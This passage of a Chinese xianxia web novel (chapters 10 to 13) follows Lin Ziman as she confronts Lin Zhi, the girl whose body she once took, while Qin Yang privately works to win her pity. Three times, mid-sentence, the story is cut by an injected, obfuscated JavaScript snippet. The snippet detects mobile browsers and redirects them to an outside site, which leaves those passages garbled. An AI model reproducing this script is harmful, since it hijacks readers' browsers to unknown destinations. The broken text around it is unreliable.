还没想出个所以然,莫叶声匆匆解释的声音响起:“不耽误不耽误!能与二位师兄师姐同行,才是我莫大之幸,哪里说得上耽误?” 秦扬还想劝解几句,林子满笑着打断了他:“好了好了,一起走又不是没有历练的机会,人多总是稳妥些的,先前那么多人也不见你说要独自去历练。再说了,你那时不还盼着有人会跟进来保护你么,莫师弟年纪更小,一个人难免会有些害怕的。” 秦扬不再说话了,眼神莫名地看着她,林子满不解地回望过去,他却垂下眼睫,敛去了其中情绪。 不明白他的意思,林子满只能转向莫叶声:“那后面一段日子就靠你多多关照啦?” 莫叶声急急摆手:“师兄师姐不要嫌弃我拖后腿才是。” 秦扬淡淡瞥了他一眼:“你有自知之明是好的,若遇到危险,我们确实无暇顾及你,到时候自己注意逃命就是了。” 莫叶声尴尬地笑笑,不知道为什么,总感觉这位师兄不太好相处。 10. 故人 嘴里说着要历练,其实三人都没什么明确的目标,所以也未刻意去寻什么宝物,只随意在秘境里乱逛,能遇见什么全凭机缘。 可以说是非常佛系了。 这趟秘境之行过得愈发像春游,每日悠闲走着看风景,捕鱼打鸟做烧烤,倒也十分惬意。 除了秦扬时不时找茬。 今日说莫叶声的鱼汤做咸了,明日说莫叶声的山鸡烤焦了。 语气却十分平淡,听不出一点嫌弃,好像只是在客观地表达自己的想法,并不是刻意针对谁。 可怜莫叶声真以为他厨艺不太行,并且怀疑自己的味觉出了什么毛病,否则怎么就他自己没有尝出哪里有问题呢? 正午时分,林子满就着捡来的枯枝燃起火堆,从储物镯里取出她自制的“烧烤网”放在火上架好,也到了该吃午饭的时候了。 修士的境界达到金丹期便可辟谷,即便修为不足,服用辟谷丸也可免受饥饿的困扰。 但人活一世,若连口腹之欲都得不到满足,寿命再长又有什么意思? 春日正值万物生长,漫山遍野的野菜恰是最鲜嫩爽口的时候,秦扬将采来的一把春菜洗净,以灵力包裹后置于火上。 橘黄色的火苗舔舐着青翠的菜叶,却不能将其焚毁,只能一点点将它烤软,令其慢慢变得柔软多汁,只待咬上一口,便能体会到独属于春天的清新味道。 不远处的小溪里,莫叶声挽着裤腿,眼疾手快地往下一探,一条溪石斑被他掐着腮拎出来。 甩着鱼尾使劲挣扎的鱼被随手两下敲晕,莫叶声开始去鳞、剖腹、去内脏,手法干净利落,丝毫不见迟疑。 林子满略带欣赏地看着他,会做饭的男人总是让人看着顺眼些的。 随后她想到什么,眼神移向一旁的秦扬,低声问出了自己的疑惑:“你是从前就认识莫师弟,跟他有什么过结吗?” “没有啊,师姐怎么这么问?” “那你天天挑三拣四,嫌弃这嫌弃那的?他若没招惹你,你又何必这样故意找茬呢?” 秦扬一脸无辜:“我没找茬啊,我只是单纯觉得他做的菜确实不好吃。” 他的话音一顿,眼神冷了些:“他私下里找你诉苦了?” “你别在这儿恶人先告状,莫师弟从未跟我说过你的不是,他不是那种乱嚼舌根子的人,你别仗着他性格单纯就欺负他。”林子满无奈。 秦扬轻嗤一声:“师姐才认识他几天?就知道他性格单纯了?我与师姐相识更久,在师姐心中反倒成了恶人了?” 林子满扶额叹息,秦扬最近是吃火药了吗?怎么说话这么咄咄逼人? 见她沉默不语,秦扬语气不明地开口:“师姐明明不是爱管闲事的人,却为莫叶声出头,还邀他同行,是因为很喜欢他吗?” 林子满惊讶:“那时候不救他他不就被烧死了?这跟喜不喜欢他有什么关系?” 秦扬:“所以师姐那时救我也是一样的想法?我在你心里跟莫叶声是一样的分量?那随便什么人有生命危险,师姐都会出手相救?” “我自然不可能谁都救啊。” 林子满莫名,她为什么要随便什么人都救?她又不是传说中那种无敌圣母白莲花。 秦扬了然地点点头:“我明白了,原来师姐只喜欢那些无助可怜的少年。” 林子满:??? 林子满满头问号,一时无语凝噎,为什么说的她跟个变态似的? 现如今出手救个人这么复杂的吗? 秦扬的脑回路到底怎么长的?为何会有如此清奇的想法? 她无力地摆摆手:“随你怎么想吧。” 罢了罢了,解释得她心累,反正出了秘境把马甲一脱,谁都不知道她是谁,管他怎么想。 脚步声传来,莫叶声捧着用叶子包好的鱼肉走近。 片得薄薄的鱼肉晶莹剔透,在火上稍稍一炙,鱼皮蜷缩呈金黄色,油脂争先恐后地往外冒,诱人的香气散在空气里,勾得人食指大动。 这次秦扬安分了许多,不再明里暗里地挑三拣四,饭后甚至夸赞莫叶声悟性不错,一点就通,这次发挥得就挺好。 莫叶声受宠若惊,接下来几天更加兢兢业业地准备食物,丝毫不敢辜负秦师兄的“教诲”。 本以为会一直这么风平浪静到出秘境那天,但世事难料,林子满没想到自己躲了几百年,这辈子都不想再见到的人,竟会在这得失境中与之再次相遇。 那日的天气一改往常的晴朗,天灰蒙蒙的,不见太阳的踪影,云压得很低,透着一股风雨欲来的味道,仿佛在预示着什么。 三人见势不妙,决定先找地方暂作休整,待风雨过去再赶路。 他们刚在山洞里燃起火堆,外面的雨就瓢泼而下。 雨天躲在山洞里烤火有一种油然而生的幸福感,噼啪的雨声混着柴禾燃烧的哔啵声,火焰映着忽隐忽现的影子,空旷的山洞里交杂出温馨的感觉。 大家都没出声,望着跳跃的火苗发着呆,咀嚼着各自的烦心事,互不干扰又互为慰藉。 直到一阵喧闹声从洞口传来,引得他们抬头望去。 一群人咋咋呼呼地走进来,打头的几个穿着华丽,一副贵公子做派,但脚步虚浮,一看就是花架子。 后头跟着几个护卫倒是修为很不错,正戒备地看着他们。 其中一个看起来是领头的贵公子上前一步,表示他们想在这山洞里避雨,还望行个方便。 明明是商量的话语,神态里却透着一股不自知的高高在上,脸上的表情像是在说:前来征得你们的同意已经很给面子了,你们最好不要不识好歹,立马给我乖乖点头。 这种骄纵出来的世家子弟最是麻烦,明明没什么实力,眼睛却长在头顶,一副天不怕地不怕的样子,偏偏还不能轻易教训,不然打了小的来老的,纠缠起来无休无止。 林子满不想惹麻烦,也不在意这种人的态度,就当看个乐子,反正现在也闲着没事,因此她抬手示意他们随意。 得了允准,他立马谄媚地转向身后:“林姑娘,快来这边烤烤火,你衣裳都湿了。” 见着他这前后判若两人的嘴脸,三人忍不住相视一笑。 后面众星捧月般簇拥着一个人走上前来,待人群分开,方才看见一个极美的女子,螓首蛾眉,巧笑倩兮,一身华丽的衣裙将她衬得贵气逼人,怪不得引来这么多的追随者鞍前马后。 林子满看着那身衣裙,却微微怔了怔。 这身衣裙……总感觉莫名有些眼熟,像是在哪里见过似的。 但不应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902827|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,她不喜穿这样华丽的衣裳,也很多年没见过有修士这样穿了。 她这些年要么四处游荡,专挑无人之处去,要么窝在无为峰半步不出,早就远离了修真界繁华的地带。 而这种打起架来不方便却又价值不菲的衣裳,没点厚实家底的人也穿不起。 那她怎么会觉得这衣裳眼熟呢? 不等林子满想出个所以然,那女子已越过众人,施施然走上前来。 但令众人惊讶的是,那女子一见他们,不,准确来说是看见秦扬,却是立马脸色一变,直勾勾地盯着他,满眼的不可置信。 那几个追随者不明所以,担忧地开口:“林姑娘?你怎么了?是身体不舒服吗?” 秦扬也疑惑地看了她一眼。 那位林姑娘意识到自己的失态,微微整理了一番表情,勉强笑道:“没事,可能是淋了会儿雨有点着凉。” 林子满诧异地看了她一眼,见她全身上下只有那垂坠在地上的裙摆沾湿了几分,心想这别说是修士了,连个普通人都不会着凉吧。 但林姑娘的追随者可不这么想,一听她说着了凉,立马着急忙慌起来,又是喝令随侍取狐裘给她垫坐着,又是架上茶壶要亲手给她煮驱寒的灵茶,一样又一样法器被从储物袋中拿出摆好。 不多时,简陋的山洞竟显出些富丽堂皇来,显得直接席地而坐的他们像三个呆子。 待林姑娘安置好,确定她并无大碍后,那几个追随者才稍稍安了心,也终于意识到将让出避雨空间的三人当空气不太好,不符合他们世家公子儒雅的气质。 因此他们开始一个个往外报自己的名号,语气里是满满的骄傲,像是他们生的那堆火为林姑娘解了急,才有资格听他们的自我介绍。 最后,那名领头的贵公子郑重其事地给他们介绍那位林姑娘:“这位就是上阳宗少主,林芷林姑娘。” 那位林姑娘轻扬下巴,微笑地看着他们,貌似在等他们惊叹自己的身世。 然而回应她的只有一室沉默。 三人中莫叶声年纪最小,平时话也不多,存在感不强。 而秦扬或许是为着救命之恩,十分在意林子满的意见,大事小事都听她的。 因此林子满不知不觉间成了三人中的领头羊,这种场合本该是由她来发话的。 但此时林子满僵坐在原地毫无表示,气氛就渐渐尴尬起来。 眼见那几位追随者已经开始不满,秦扬疑惑地看了看林子满,主动接过话头,客气道:“上阳宗是当今天下第一大宗,听闻林宗主实力高深莫测,气度非凡,但深居简出,难得有人一见,从前我还在想这传闻应是夸大了,今日见过林姑娘,才知传闻应该是真的了。” 林芷被这话取悦了,勾唇一笑,露出几分倾倒众生的魅惑来,随后将目光转向林子满,带着打量的意味。 林子满却无暇顾及这些了,听到上阳宗少主几个字,那些在记忆里远去的画面,又在脑海里重现,她仿佛又回到了几百年前,众目睽睽之下,有人在大殿上怒斥她是个鸠占鹊巢的邪魔,而她浑身僵硬,张张嘴却说不出一句反驳的话。 林子满勉强扯了扯嘴角,对秦扬他们说了声“待久了有点闷,我去洞口透透气”,便脚步匆匆地走向外面,颇有些落荒而逃的意味。 11. 放下 雨下得急停的也快,不多时就开始慢慢变小,很快便成了发丝般的细雨。 风里夹杂着雨丝,吹在脸上很是清凉,仿佛能抚平内心的焦躁,但林子满整个人还是浑浑噩噩的。 她不知道要去哪里,又应该去哪里,只知道自己此时需要一个人静静。否则,她怕自己一时冲动,会出手将那山洞里的女子斩于剑下。 沿着山洞外的小路慢慢走着,林子满直走到一条小溪边才停下脚步,也不在意那一地泥泞,直接就地坐下。 刚下过雨,溪水却并不怎么浑浊,哗啦啦欢快地向前奔腾着。 她看着面前的流水,脑子里一片混沌,直愣愣发着呆,好像想了很多东西,又好像什么都没想。 过了许久才恍惚觉得身边多了个人,她回过神来,发现秦扬不知道什么时候跟了过来,一言不发地坐在一旁。 林子满转头看了他一眼:“你怎么来了?” 秦扬却没回答,二人之间只余沉默。 林子满有些奇怪,再次看向他时,发现他捏着一张手帕,神情纠结地看着自己。 意识到什么,林子满伸手在脸上摸了摸,触手一片湿滑,被依旧料峭的春风吹得冰凉。 这可真是丢人丢大发了,在一个小辈面前哭成这样,简直是晚节不保。 秦扬将手帕往过递了递,轻声道:“擦擦吧。” 现在嘴硬说什么我没哭是风太大迷了眼就有些矫情了,林子满一脸平静地接过那方素色手帕,将眼泪鼻涕全抹在上面。 问题不大,反正他不知道自己的身份,这算什么大事?不过是个月抛的身份而已,丢脸就丢脸吧,林子满默默安慰自己。 想通以后她云淡风轻地开了口:“这手帕脏了,我以后再还你一块新的吧。” 语气一顿,想到有些人对随身携带的东西会有种莫名深厚的感情,她又体贴地给出其他选择:“如果你不介意的话,我洗干净再还给你也行。” 秦扬表示倒也不必,一方手帕罢了,若喜欢留着便好。 随后便是长久的沉默,秦扬没问她怎么了,林子满也没有解释自己的失态,只有溪水的哗哗声还在继续。 本以为二人要一直这么沉默下去,林子满却突然开口了。 最终还是她没忍住啊,林子满自嘲地想,面对这张熟悉的脸,委屈好像一瞬间就爆发了出来,本以为不再介意的东西,这么多年过去,原来从没能放下过。 “我有一个朋友。”林子满选了个老套的开头,说出这句话自己都忍不住笑了笑。 秦扬疑惑地看着她,却没有插嘴打断,安静地等着她的下文。 “她是个被父母丢弃的孩子,后来走运被一对没有子嗣的夫妇收养,本以为从此就能有一个家了,结果那对夫妇没过几年生了自己的孩子,就不要她了。” “后来她意外去世,醒来却发现自己重生在一个小孩身上,再次拥有了疼爱她的父母,她以为这是上天给她的补偿,也确实过了一段幸福的日子。” “她原以为她会重生在那个小孩身上,是因为原身已经死了。但后来被找上门时她才知道,那个小孩其实没死,灵魂去了另一个人身上,被迫过上了与原先截然不同的生活。” “她不知道自己为什么会重生,重生后也一直替那具身体好好活着,孝敬父母,友爱同门,尽自己所能做到最好。” “但身体的原主找上门来时,所有人都认为她是用什么邪魔歪道抢占了别人的身体,她百口莫辩。” “那个被抢了身体的小孩确实无辜,可是,她就有罪吗?你说,她又做错了什么呢?” 秦扬梳理着这个简单又曲折的故事,随后提出了自己的想法:“她什么都没做错,重生不是她导致的,她也好好地做到了那具身体该做到的。但不是有句话叫做‘匹夫无罪,怀璧其罪’吗?虽然这一切不是她造成的,可在外人眼里,她这个既得利益者就是罪恶本身。” 林子满喃喃道:“匹夫无罪,怀璧其罪……外人这么想情有可原,可是与她生活了几十年的父母,为什么也会这么想呢?” 她迷茫地问:“那些相处的时光,那些幸福,难道都是假的吗?” 秦扬沉默片刻:“我没感受过父母的疼爱,不清楚亲情到底是怎样的一种存在。但是世事无常,没有什么会永恒不变,当时的幸福是真,后来的绝情也是真。不必否定曾经幸福,但更不该沉溺于过往,有些事应该趁早放下。” 林子满叹了口气:“道理我都懂,只是放下这句话,说起来很容易,想做到真的很难,世上真正能做到的又有几人呢?” “再难也该放下,”秦扬语气变得认真起来,“师姐,往事不可追,来日犹可期,未来的路还有很长。” 来日犹可期吗?但她不觉得未来的日子有什么可期待的,她也没有多少来日了。 林子满沉默良久,轻声叹道:“或许吧。” 在溪边坐了许久,林子满的心绪才平静下来,但她也不打算再回那个山洞。 她对林芷确实有所亏欠,占用了林芷的身体,取代了她的人生,害得她在凡间流浪几十年,这一切都是不可辩驳的事实。 以至于后来发生了那样的事,她却连报仇都没有理由,连恨都只能恨她自己。 虽过去几百年,她也还是实在不想和林芷待在一处。 “你去将莫师弟叫出来,我在这儿等你们。现下雨也停了,正好可以继续赶路了。”林子满对秦扬说,“方才遇到的那伙人都不是什么好相与的,我们最好不要跟他们有什么来往,还是早些离去的好。” 秦扬不知其中纠葛,结合刚刚那个故事虽能隐约猜到什么,却也不过是一知半解。 但他什么都没问,应了声“好”便往山洞的方向走去。 待秦扬走后,此处重又安静下来,只剩潺潺流水声,林子满不知不觉间又开始发呆。 直到一只鸟俯冲而下扎入水中,溅起一片水花,这才惊醒呆愣着坐在一旁的女子。 看着那翠色的小鸟衔起一条鱼盘旋而上,林子满往来路望了望,却还是空无一人。 应该已经过去好一阵了吧?秦扬他们怎么还没过来? 林子满眉心一蹙,难道是出了什么事? 这里离山洞不远,若是路上遇到什么厉害的妖兽,打斗的声音肯定会传过来,而现在周围一片风平浪静。 不会是跟林芷他们打起来了吧? 她快步赶回去,果然看见一群人在山洞里对峙。 秦扬和莫叶声被围在中间,手皆握在剑柄上,神情冷肃。 林子满走过去:“这是怎么了?怎么一副要打架的架势?” “你们真是好大的派头啊,林姑娘邀你们同行是看得起你们,你们倒还不乐意了!还拿上乔了,把自己当什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902828|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了?真是给脸不要!”有人冷笑着开口。 被多番拒绝,一旁的林芷脸色也不怎么好看。 “我也是想着秘境里面危险重重,人多也好有个照应,才提出一起走。”她语气一顿,意有所指地瞥了眼身后的护卫,“毕竟我和这几位师兄带了不少身手不错的护卫,定能互得大家周全。但没想到这位师兄这么不给面子,我好言相劝,他却一口回绝,半点商量余地都不留,这可真是令我有些难过啊。” 林子满看了看那些剑已出鞘的护卫,他们都是各个宗门世家豢养的死士,培养出来便是为了执行各种任务,实力强大,不惧死亡。 而他们只有三个人,甚至有一个只到筑基的境界,打是肯定打不过的。 此时林芷着重点出他们的护卫,分明就是明晃晃的威胁。 得失境中确实存在许多未知的危险,但世上最险恶的不过人心,拂了她的面子,她已经很不满了,如果现在继续拒绝,估计就要跟他们动手了。 林子满不知道她是哪根筋搭错了,怎么就非要跟他们一起走。 但现在没办法,打又打不过,只能加入了。 林子满暗暗叹了口气,心想大不了尽量离她远些,以后找机会再跑就是了。 扯出一个微笑,林子满十分识时务地低头了:“既然是林姑娘的一片好意,我们再不接受就显得有些不识好歹了,想来是他们二人先前误解了林姑娘的意思,才弄成这幅局面。” 她朝秦扬使了个眼色,示意他们将武器收起来。 秦扬冷着脸收剑回鞘,拨开挡路的人,一言不发地走到她身边。 得到了自己想要的结果,林芷莞尔一笑:“原来是个误会啊,这几位师兄也是怕我受委屈,所以弄得有些大动干戈,既然大家把话说开了,咱们自然还是要和和气气的。” 林子满忍住翻白眼的冲动,心说这可真是好大一个误会呢,不知道的真以为你受了天大的委屈。 本以为林芷如此坚持要与他们一路同行,是对她的身份起了疑心,林子满警惕了好几日,才发现是她多虑了。 林芷平日只追着秦扬说话,根本不搭理她,仿佛没有她这么个人。 林子满放下心来,倒也落得个清静。 而且这些公子小姐们带着一堆仆从护卫,做饭这些事就再不用他们亲自动手了,自有人将热气腾腾的食物端到他们面前。 况且这些出身世家大宗的人可不是像他们一样,随便什么普通食物都吃,从小娇贵着长大的人可看不上那些毫无灵气之物。 他们吃的都是宗内特意种植的灵植、圈养的灵兽,这样的灵物食用以后不仅不用担心会有杂质留在体内,反而还能增长修为。 在进秘境之前就已经有人备了足够的量放在储物袋中,甚至还有人专门负责看管灵兽,确保每头灵兽都活蹦乱跳、生机勃勃的,以便他们的主子能用上最新鲜的食物。 这样奢华的做派看得林子满是啧啧称奇,感觉自己跟个土包子一样。 虽然她觉得灵鸡也不一定就有漫山跑的山鸡好吃,但既然都是吃白食的人了,就别太挑剔了。 看着那些人手脚麻利地准备好吃食,林子满不由感叹这种有人伺候的生活还是更舒服啊,莫叶声这个平时干活最多的工具人用力点了点头,表示十分赞同。 但他们二人是过得舒坦了,有的人却好像有些受不住了。 12. 自厌 因着几日都是晴天,春寒仿佛已经退去,吹过的风越来越暖,隐隐有了初夏的感觉,午后的阳光已经有些烈了,晒得人心生燥热。 林子满和莫叶声寻了处远离人群的树荫,一边啃着手里的鸡腿,一边津津有味地看戏。 林中被辟出一块空地,摆上了一座巨大的凉亭,雕梁画栋,华美无比。 亭中放着各色美食,青瓷长案上的灵果与美酒几乎要堆不下。 众人皆在亭中纳凉,正中心的位置坐着林芷,此时正对着秦扬大献殷勤。 “秦师兄,你还想吃些什么吗?我让他们去做。” 见秦扬微笑着摇头,又敛袖提起小玉壶,斟了满满一杯酒递到他面前,酒色清亮,宛如上好的琥珀。 “秦师兄,尝尝这酒吧。这是自极北之地雪山上所采灵果酿成的,喝了不仅能增长修为,还能降燥清心,正适合今日这样的天气喝。” 周围环绕着的那些贵公子牙都快咬碎了,一个个眼神凶狠地盯着秦扬,恨不得立刻拔剑砍了这个半路杀出来的程咬金。 区区一个无名小卒,不过就是一张脸还能看,凭什么就能惹得林姑娘对他另眼相看?! 呸!狐媚子作派! 秦扬不着痕迹地避开林芷递到他嘴边的酒杯,伸手接过后轻啜一口,淡淡道:“味道不错。” 林芷笑道:“师兄若喜欢,便多喝几杯,日后也可随我回上阳宗,尝尝我爹亲手酿的酒,他不仅于修行一途很有造诣,酿酒也是一把好手呢。” 秦扬委婉地拒绝了:“在下不胜酒力,怕是尝不出林宗主酒中的奥妙,还是不白白浪费这样的佳酿了。” 林芷脸上的神色微微一凝,若旁人能有这样的机会,怕是早就紧紧抓住了。 这可不是一杯酒的事,而是与天下第一宗搭上关系的大好机会,即便林宗主酿的酒再难喝,也要当成琼浆玉液去喝,哪会有人用这样拙劣的借口拒绝? 呵,看来还不是个好拿下的。 林芷并不气馁,她不信会有人能抵挡得了上阳宗的诱惑,他现在心高气傲只是因为见识的还不够多,待他知道上阳宗到底有多强大以后,林芷不信他不会心动。 况且,她对自己也很有信心,看看周围那些个争风吃醋的男人,哪个不是身世显赫,从小便见多识广?还不是要拜倒在她裙下。 而这个偏远小门派来的毛头小子,即便再怎么不近女色,要收拢也不过是时间问题。 因此她放下酒壶,又去拿盘子里造型精致的糕点:“那不若尝尝这点心吧,甜而不腻,软糯可口,是我最爱吃的。” 秦扬一边推拒一边对林子满投去求救的目光。 林子满擦擦嘴角沾到的油,无奈地耸耸肩表示她也爱莫能助。 她确实不知道林芷葫芦里卖的什么药,怎么突然就对秦扬这样殷勤。 明明年纪修为地位都比秦扬高出一大截,一口一个师兄也叫的很顺口。 即便秦扬长着一张她们都熟悉的脸,但这个世界不存在转世是人人都知道的事实,即使长得再像,就算是一模一样,也只会是另一个人。 所以林芷对秦扬如此特殊,不会是跟她同一个理由。 那是为什么呢? 什么情况下一个人会突然对另一个人与旁人不同呢? 突然,林子满脑海划过一个想法。 林芷不会……是喜欢上秦扬了吧?! ——不可能。 这个念头一出现就被林子满排除了,她怎么会喜欢上秦扬? 但实在想不到其他缘由,细细想来,也不是没有这种可能。 毕竟秦扬虽然修为尚浅,但长相十分出众,与林芷现在那张脸不相上下,颜控是绝对拒绝不了这样一张脸的。 难道事实就是如此简单? 林子满心情复杂,伸手又拎过一个鸡腿,边啃边叹息,美色误人呐。 自从被迫同行,三人一直在试图偷偷溜走。 奈何林芷每日都跟在秦扬身边晃,她的追随者们又担心林姑娘会被这小子欺负,半步不肯离地当着护花使者,被围在中间的秦扬根本无法脱身。 到了晚上休息的时候,护卫又会为了他们的安全,将周围守得水泄不通。 尝试了几次都没成功,林子满已经放弃了:“就这样吧,跟他们在一起还安全些,晚上睡觉都不用担心会从哪里突然蹿出来头妖兽了。” 反正林芷没有发现她的身份,也就不会无缘无故对她这么个陌生人下手。 莫叶声附和道:“而且他们做的饭很好吃,我们都不用动手了。” 秦扬冷笑一声:“你是在暗示我前些天说你做饭难吃吗?” 莫叶声无辜极了,慌忙解释:“我、我不是,我没有那个意思,我就是、就是……” “行了行了,他跟你开玩笑呢。”林子满无奈打断他,看向秦扬,“反正我们现在也跑不掉,他们看起来又没什么恶意,既来之则安之,暂且先维持现状也不是不行,就是要委屈你多应付一下那位林姑娘了。” 秦扬眼神复杂地看着她:“你让我去应付她?” “怎么个应付?吃她喂的东西?喝她喂的酒?跟那些人一样讨好她?她让我做什么我就要做什么?” 他的语气里夹杂着怒火,说到后面又透出些委屈。 林子满惊了,不就是让他应付一下林芷,别将气氛弄得太僵就行了吗?怎么说得她跟逼良为娼一样? “你就,就平时那样就行……”林子满难得结巴了一下,语气也跟着弱了弱。 秦扬垂下眼看着地面,一语不发,整个人好像都在往外冒冷气。 面对这样的局面,莫叶声无措地望向林子满,眼神里透着茫然。 林子满也很无措,也很茫然啊! 但身为一个师姐的威严不能丢,她给了莫叶声一个可靠的眼神,示意他离开一下,这里一切有她。 莫叶声如蒙大赦,放轻脚步快速溜走,留下二人沉默不语。 林子满手里不自觉捏着一截衣带,无意识缠绕起来,过了半晌,她斟酌着开口:“……你生气了?” 自她将秦扬带回永凌山,至今已有十年,这十年间她从未见秦扬跟谁吵过架、红过脸。 即便有些师兄弟眼红嫉妒,时不时找茬、使绊子,他也总是一副不在意的模样,笑一笑便当成没发生过。 可如今却像是真的生气了。 秦扬沉默片刻,轻声问道:“师姐,你觉得我长得好看吗?” “……啊?”林子满被这风马牛不相及的问题问得卡了卡壳,随后下意识遵从事实点了点头。 “我一直都知道我长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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五百年前的他虽也出生于凡间,但身份尊贵,自是无人敢欺。后来拜入上阳宗,成为宗主爱徒,修炼速度惊人,一手剑术更是精妙绝伦。 他是同辈人中的佼佼者,昳丽的外表只会让人感叹上天的偏爱,无人敢生出其他的心思。 但现在的秦扬呢? 从小便生活在那样的环境里,孤身一人根本无法反抗,而她偏偏过了十年才将他找到。 后来入了修行一途,他又生来灵根驳杂,虽经洗髓锻体,但还远远称不上天赋卓绝。 在这个弱肉强食的世界里,没有足够强大的实力,美丽只会带来厄运。 他本可以不用经受这一切的,都是因为她的执念,他才会再次来到这个世界。 “对不起。”林子满再次低声说了句。 秦扬笑笑:“师姐,真的不怪你,这些事我从没跟别人提起过,因为我一直不愿意面对那段过去,今天说出来反倒好受些了,我该谢谢你才是。” 看着故作坚强的秦扬,林子满勉强笑了一下:“都怪我修为不高,不然你也不必委屈自己。” “师姐你已经很厉害了,上次如果不是师姐,我早就没命了,那还是第一次有人挺身而出保护我呢,小时候我最渴望的事就是有个人能出现说他会保护我。”说着他又有些沮丧,“可惜没有谁会永远保护谁。” 青年皎如玉树,俊美无俦,本该落拓不羁,此时却一身落寞,看着这样的秦扬,林子满忍不住脱口而出:“我会永远保护你的。” 说完这句话她立马后悔了,如今顶着一个虚假的身份,做出这种承诺又有什么用呢? 但秦扬已经眯眼笑起来,眼睛明亮似星辰:“说出来的话就要做到,师姐不准骗人喔。” 看着那双璀璨的眼眸,她还是没忍心说出反悔的话。 13. 自演 秘境里看不到月亮,也没有漫天闪烁的星辰,无边夜色下,只有成群的流萤在林间翻飞。 秦扬看着眼前明明灭灭的黄绿色光点,心情愉悦地勾了勾嘴角。 悲惨的过去果然能让人心生怜悯。 虽然他刚刚说的大部分都是事实,但一件事以不同的方式说出来,落在听者耳中,便是截然不同的故事了,他含糊其辞的那几句,将他的过去塑造的十分悲惨不堪。 他虽从小处境艰难,但还远远未到需要以色事人的地步。 如今亲自诋毁自己的过去,不过是因为不想被抛弃。 他也确实成功了,他得到了“永远”这个承诺。 而既然给了他承诺,他就会将承诺变为现实。 不知秦扬心中存着怎样的心思,林子满仍在一旁拧眉沉思。 如今敌众我寡,实力差距也不是一星半点,来硬的他们肯定是毫无胜算的。 怎样才能不着痕迹地溜走呢? 她瞥了眼守在不远处,正警惕四周动静的护卫。 要想走,肯定就先得将这些人放倒。 那就只剩一个办法了—— 下毒。 只有先将他们毒倒,待其失去行动能力了,三人才机会脱身。 这样的药林子满不是没有,但林中开阔,迷烟这种最易得手的反而行不通,只能将药下在吃食中。 但准备吃食这种事向来轮不到他们插手,贸然出手反而容易引来怀疑。 将自己的想法说与秦扬听后,他略作思索,主动挑下了这个担子:“下药这件事由我来做就好,待我寻个时机,找借口为他们做一壶果酒,便可悄无声息将药下进去了。” 林子满点点头,这确实可行,有酒味做掩饰,更不易被人发觉异样:“但你也不要过于急切,先缓他们几日,这事要做就要做的稳妥,必须一次成功。” 秦扬应下了,笑道:“我做事,师姐大可放心。” 林子满淡淡觑了他一眼,心想年轻就是好,总觉得自己无所不能,王霸之气爆棚。 接下来几天,秦扬的心情肉眼可见的好,整个人由内而外地散发着愉悦的气息。 林子满以为他是为他们即将逃离而高兴,不由得再次为秦扬悲惨的过去心疼了一把。 小时候的日子到底是有多苦啊,看把人逼成什么样了,连家世显赫的绝色美人都不能驱散他内心的阴影,如今知道他们快要走了,高兴成这样。 唉,不幸的童年要用一生来治愈啊。 林子满深深叹了口气,觉得接下来的日子还是要更加关爱秦扬一点。 但秦扬没高兴几天,糟心事又来了。 本来计划正有条不紊地实施着,秦扬早几日便表示自己酒量虽差,却对酿酒十分感兴趣,一直想学却找不到机会,因此时不时便要说些与酿酒有关的话题。 林芷对此倒是很满意,她并不认为秦扬是真的喜欢酿酒,而是在以酿酒为名示弱。 前些天自己邀他同去上阳宗小酌几杯,他心高气傲地拒绝了,现下怕是后悔了又拉不下面子,才借着酿酒的名义对自己示好,不过是醉翁之意不在酒罢了。 呵,她早就知道,在这世上,有几个人能抵挡得住她的攻势呢? 看着骄傲的男人变着法子讨自己欢心,林芷得意又受用,大发慈悲地表示她爹酿酒技术是一绝,待出了得失境,就可带他去讨教一二。 秦扬不明白怎么话题又扯到上阳宗宗主身上去了,为何林芷总是执着于邀他去上阳宗呢? 他的天资并不如何出众,即使现在的修为在一众小门派中可以称得上一句佼佼者,但对于天下第一宗来说,还是很不够看的。 因此他还是很有自知之明的,他不觉得林芷这样热情是想为自己宗门吸纳人才,他的实力还远远未到如此惹人青眼的地步。 那她这样是因为什么呢? 她到底有什么阴谋? 想了一圈都没想到自己有什么值得被图谋的东西,秦扬不再纠结于此,笑着说自己想要用这秘境中的野果酿酒,不知这些人中可有懂酿造之术的。 林芷对此十分不解,这秘境中的果子有什么好酿的?既无灵力又酸涩难以入口,用这种东西酿酒岂不是浪费时间? 但秦扬坚持,她便随便指派了一个略懂一二的人协助于他,教他酿了一坛几日便能喝的酒。 等到起封开酒的那日,只待夜色降临,秦扬便会借着感谢众人教他酿酒的名义,与众人共饮这坛下了药的酒。 因为只酿了几日,酒并不烈,倒也不用担心因酒误事,所以也无人会以此为借口拒绝。 只要喝下这酒,半刻钟内便会浑身乏力、意识全无,三人便可借着夜色溜之大吉。 但计划赶不上变化这句话,不愧是无上真理。 先前一直没碰上的那些逃命去了的人,偏偏在他们准备行动那日出现了。 看见那一群人时,林子满心里就咯噔一下,大呼不妙。 他们现如今所用的都是假身份,跑了也就跑了,不用担心被找上门来。 但如今这伙人一出现,他们的身份肯定就瞒不住了,如果再给林芷他们下药,势必会被他们记恨上,将来出了秘境去寻仇,麻烦可就大了! 